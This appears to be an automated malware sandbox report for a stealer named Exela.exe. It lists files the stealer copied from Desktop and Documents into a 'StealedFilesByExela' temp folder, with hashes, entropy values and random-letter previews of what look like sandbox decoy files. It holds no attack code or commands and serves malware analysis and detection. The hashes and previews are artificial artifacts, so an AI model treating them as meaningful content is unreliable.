Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\SNIPGPPREP.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701796197804446
Encrypted:	false
SSDEEP:	24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
MD5:	C8350CE91F4E8E8B04269B5F3C6148DA
SHA1:	22D523A327EBAF8616488087E2DCE9DBD857F0CC
SHA-256:	1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
SHA-512:	C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
Malicious:	false
Preview:	SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VWDFPKGDUF.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\WSHEJMDVQC.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\AQRFEVRTGL.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\AQRFEVRTGL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\BXAJUJAOEO.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701111373123985
Encrypted:	false
SSDEEP:	24:wSplMoG/A1oXDoMwazZW6QAFWyGjkGKnEuDxOaV9YnF7U:walZG/A12L8MFYr8EuxTK9U
MD5:	CA5A3E2A0C2DDF92EABE165672425976
SHA1:	1933AC1A510945A766039E7E61D7DA4156E0F074
SHA-256:	4180C6A01C86C7D86A51B5C17957BAECF34EBB7FCB6C5968835A5DB64E3C9667
SHA-512:	64FC7B64CDAF57CF026C803A16036BDDC46CA86AC9C35A804FCE188AFA3056C324D62CCEBD45E7E607A53D11A1035CB6C38B24004D14F0DC17B11D8DFBD7DB6C
Malicious:	false
Preview:	BXAJUJAOEOZPYQVMPMMPXXMVCPSLTTLUOLYYQUQKLRMOQNFWEOCYDOLITPCVDLYSWYQACZEJIDILMNOOUVEVBOSWPXYLBOGFYWHZVFNHRJXYLODFWJLFJKMUXRMLQJAGMERGOWKSMBXUJUMRUBMROMDBISUWTFWPXBVVSTBYHRHUOKCJNGMCOLUFOVLKFFIUZHRPZUITDNNTTEJKTUSBPVEUSTDXHRMZNWZQSUEGRYELXBLVKZHEIVACMOHJWFJRPJKNIDOXZHIEUDGLSGKALGUCHSOBYGTVWDOVYUEMXJWYDCHTXKLWDJLIZFFBQOMRYKZVRXZYKIPKCJEYOVOQCGFXCUNQKHYBXFYRGYUQAUKMCSQKKDJIQWKZEWMJWHJDDENKZLPNJAJLVIEXHEGVFHRIOBAWGXOXLQJIISBHZZGJYZBYNUOKMCKTICSMRTMZVLKMZTCWKHOHWQBKEBGEASMMYEGDDSCGDTYEPANLCQSJIRCTCUHXIVGBREMBTULUXWAZISUYERUZPWQLRSPPVNCMSPDUHQTJKYNEEWYIFNUCJJSDFDNQJLWDBLURDBXKLJVMGWUBKEXPYFIJNWRSUNUJBZAWJQEZWEYFLNXWPKFJZFMVPYOJFFUYCTEUKFWSOFUOTKIGENNTAAXCAHPWQNKMKKGNWIOGZOBPOTDAQLZSIGMQTNQVGQJNNITTRMOHBPCHTGJANZTLZHNSTOQXJKIAZXWPQWIDJXZUURGYMTMZTWQNTRVEKAAWBRZQWZYVWKWEVAUTRSOXDHWSYIZYRJFVXSPNFOTDNAGHDFYSAEEFBXGQQGYMZHMQHZTDMNYXDQJKMLAXJWCBQUIKQFEPVZNRMOWEKGFDLUJLSXRKKJUIGCSCGZTXLHOWGMKDLSQHDWSPCYROUJEHKXBJSADOXSOMTTUGHDSOBTNUEDCBNWNIDSDBZKBGFCJHQNDVAAZTKEIMDCTKNOQUKPNHEQOBANQSCJQRQBRAIBBXRYTT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\DQOFHVHTMG.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBT